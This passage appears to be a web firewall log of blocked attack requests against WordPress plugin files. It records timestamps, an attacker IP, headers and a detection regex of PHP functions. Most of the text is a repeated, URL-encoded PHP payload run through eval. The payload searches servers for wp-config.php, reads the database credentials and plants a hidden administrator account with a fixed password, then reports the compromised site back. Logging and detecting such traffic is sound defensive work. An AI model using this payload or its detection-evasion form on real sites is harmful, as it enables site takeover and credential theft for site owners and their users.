0%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:12663\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:38:23","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%